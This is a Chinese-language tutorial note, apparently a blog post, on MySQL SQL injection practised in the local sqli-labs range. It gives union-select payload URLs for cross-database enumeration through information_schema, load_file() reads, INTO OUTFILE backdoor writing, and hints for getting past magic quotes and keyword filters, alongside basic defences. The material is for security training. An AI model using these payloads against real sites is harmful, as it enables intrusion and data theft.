02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

02_SQL注入_Mysql注入_高权限操作&数据读写&简单的防护策略

1.root权限&开发中的权限设置

在实际开发中往往会出现一个网站对应一个数据库，而一个数据库对应一个特定管理员的情况。（假设情景中，开发使用的数据库都是Mysql数据库）。考虑第一个情景：比如A网站对应数据库A，而数据库A对应管理员A，如果存在注入点的情况下，测试出是数据库管理员A的权限在操作该网站数据库A，那么在不获取更高级权限的情况下，只能进行对本网站数据库A的本站注入操作。考虑第二个情景：B网站和C网站部署在同一个服务器上，共用同一个数据库，存在注入点的情况下，测试出B网站采用的是root权限登录，那么测试者就可以通过B网站对C网站的信息进行跨库查询，这是因为root权限是Mysql中的最高权限，能够操作数据库系统中所有的数据库。

数据库权限往往和开发代码中的配置文件有关，如以下代码中

• //including the Mysql connect parameters.
**include("../sql-connections/sql-connect.php");**
error_reporting(0);
···

页面源码中找到如下路径/sql-connections/sql-connect.php

根据路径找到如下相关代码

• //including the Mysql connect parameters. include("../sql-connections/db-creds.inc"); @error_reporting(0);

最终在db-creds.inc文件中找到相关配置代码，可以看出该网站使用的就是root权限操控数据库

- `<?php`
  `$dbuser ='root';`
  `$dbpass ='root';`
  `$dbname ="security";`
  `$host = 'localhost';`
  $dbname1 = "challenges";``?>`

2.Mysql 5.0以上的跨库查询

2.1 information_schema 信息库实用表名和列名

【说明：低版本可以工具（如sqlmap）实现字典爆破，工具的使用不在这里介绍】

在上一篇博文中介绍了Mysql 5.0 中的information_schema内置数据库：

常用表名（tables）

• 1、SCHEMATA：提供了当前mysql实例中所有数据库的信息。
• 2、TABLES：提供了关于数据库中的表的信息。
• 3、COLUMNS：提供了列信息。
• 4、STATISTICS表：提供了关于表索引的信息。
• 5、USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。
• 6、SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。
• 7、TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。
• 9、CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

常用列名（columns）

• 1、table_name:表名
• 2、column_name:列名
• 3、table_schema:数据库名
• 4、schema_name:数据库名–schemata库中

2.2 案例测试：sqli-labs靶场实现高权限跨库查询

(本案例没有目标就是单纯的查询整理一个操作思路，竞赛中可以通过此方式获取同一服务器其他网站的敏感信息)

Step 1.测试注入点存在与否

http://127.0.0.1/sqli-labs-master/Less-2/?id=1

回显正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=-1

回显异常

判断存在注入点

Step 2.报错尝试

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20order%20by%204

根据此回显判断假逻辑的拼接语句为 union select 1,2,3

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3

判断联合查询中反复替换2，3字段为回显对象即可

Step 3. 信息收集

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,version(),user()

可以得到如下可利用信息（其中假设Mysql在初步收集中已经通过站点扫描工具得到）

• 数据库系统：Mysql
• version ：5.7.26
• database : security
• user ：root

思路：

版本5.7.26说明可以采用高版本思路：information_schema库存在

用户是root权限说明可以通过当前站点操作整个数据库

Step 4. 数据注入

获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3 from information_schema.schemata

获取目标表名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'

获取目标列名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name='s80u0rkaf8'

获取目标值

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(sessid),group_concat(secret_1TTT) from challenges.s80u0rkaf8
自此我们在security数据库对应的页面中，拿到了challenge表的信息

3. Mysql文件读写和简单的防御策略

3.1 路径获取和读写语法

路径的获取方法

不管是文件写入和文件读取，都需要知道一个路径作为参数，以下介绍几种获取路径的常用思路：

报错显示：网站错误的时候会显示出文件的路径 warning；

遗留文件：phpinfo.php敏感文件扫描；

漏洞报错：根据CMS和白引擎进行关键字搜索 “CMS + 爆路径”；

平台配置文件：根据环境来，尝试一些默认路径，但往往是会改动的，比较难找；

暴力破解：常规思路，尝试常见路径爆破；

文件读写：

读取函数：load_file()，语法： select load_file("path") 可以读取网站的配置信息，网站路径等

写入后门操作，直接再网站目录中写入后门脚本 select ‘x’ int outfile’path’–+

3.2 防御策略

对于sql注入的一种防御策略是

1、平台自带策略

魔术引号为例：magic_quotes_gpc

在一个项目中，魔术引号若是打开的话，所有的反斜线（\）、单引号（'）、双引号（"）、NULL 字符都会被自动加上一个反斜线进行转义，我们注入的语句中，可能包含大量的以上符号，打开魔术引号，可以对我们的明文注入产生干扰。

绕过方式也很简单：采用宽字符注入或者使用工具对我们注入的值进行编码转换成Hex十六进制

2、使用内置函数将代码写严谨

addslashed()，is_array()，is_integer()

例如：如下代码，严格限制id为整数

• $id=$_GET['id'];
if(is_integer($id)){
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
echo '语句已执行'
}
else{
echo'不要乱搞'
  ``}`

3、关键字替换

$id=str_replace('select','lallalala',$id);

上述代码将id中的select关键词替换成无效语句，一定程度上也能避免注入操作，当然windows中不区分大小写，锁业如果采用这种思路需要充分考虑所有可能绕过安全机制的方案。

4、WAF产品

基本WAF产品也是通过一些过滤机制防止注入，本篇不对WAF绕过进行讲解